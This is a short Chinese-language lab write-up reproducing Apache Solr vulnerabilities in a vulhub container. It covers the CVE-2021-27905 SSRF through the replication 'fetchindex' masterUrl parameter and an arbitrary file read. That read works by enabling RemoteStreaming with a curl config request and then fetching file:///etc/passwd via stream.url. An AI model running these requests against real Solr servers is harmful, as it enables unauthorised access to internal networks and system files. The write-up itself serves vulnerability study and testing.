1 Solr
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
2 CVE-2021-27905
Solr的ReplicationHandler在传入command为fetchindex时,会请求传入的masterUrl。根据command=fetchindex和masterUrl可以得到PoC的格式。我在这里用了同一个IP做实验的。
http://192.168.215.144:8983/solr/demo/replication?command=fetchindex&masterUrl=http://192.168.215.144:8879
2.1 影响版本
Apache Solr<=8.8.1
2.1 环境搭建
使用vulhub快速搭建。
wget https://github.com/vulhub/vulhub/blob/master/solr/Remote-Streaming-Fileread/docker-compose.yml
docoker-compose up -d
docker ps
可以看到solr8.8.1已经启动并映射端口为8983。
2.2 漏洞复现
在浏览器中打开,可以看到Solr的控制界面。
接下来,开启监听。使用PoC打开网址,
2.3 PoC
这里有一个PoC可以快速检测Solr是否有ssrf漏洞。
地址:https://github.com/henry4e36/solr-ssrf
使用也很简单。一行代码即可,
2.4 读取任意文件
在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
2.4.1复现第一步
首先访问下面的链接获取core名。
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
然后发送如下数据,修改core demo的配置,开启RemoteStreaming。
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://your-ip:8983/solr/demo/config -H 'Content-type:application/json'
接下来就可以通过,stream.url读取任意文件。
http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd